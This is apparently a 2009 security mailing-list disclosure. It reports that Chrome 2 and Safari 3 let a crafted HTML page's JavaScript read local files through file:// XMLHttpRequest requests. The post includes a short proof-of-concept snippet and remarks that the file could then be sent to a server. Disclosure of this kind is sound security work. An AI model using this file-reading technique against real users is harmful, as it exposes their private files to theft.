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XMLHttpRequest file upload vulnerability Chrome 2 & Safari 3
From: pantera_bleed () hotmail com
Date: Tue, 9 Jun 2009 10:33:09 -0600
.html can be crafted to force a unaware user to read file from local, and then possibly send it to a server. var method = "GET" var URL = "file:///C:/argentina/bsas_junin.txt" xmlhttp.open( method, URL, true) This type of request is possible if file is on user local in the user hard disk (CHROME2), in other browser I was able to do the same but with a LAN access to file, no need to write in local hard disk (SAFARI3) if (xmlhttp != null) { xmlhttp.open( method, URL, true) xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4) { alert(URL + "\n\n" + xmlhttp.responseText) } } } this is a valid operation javascript can read then xmlhttp.responseText, yes the file content. After this you can do whatever you want whit the file. note that you MUST know the file path!! crafted by: federico.lanusse pantera_bleed () hotmail com federico.lanusse () clarolab com company: clarolab QA team yeah! lets rock Ateam!! Chrome ISSUE, with attached POC. http://code.google.com/p/chromium/issues/detail?id=13671
Current thread:
- XMLHttpRequest file upload vulnerability Chrome 2 & Safari 3 pantera_bleed (Jun 09)
- Re: XMLHttpRequest file upload vulnerability Chrome 2 & Safari 3 Adrian P. (Jun 09)
- Re: XMLHttpRequest file upload vulnerability Chrome 2 & Safari 3 Michal Zalewski (Jun 09)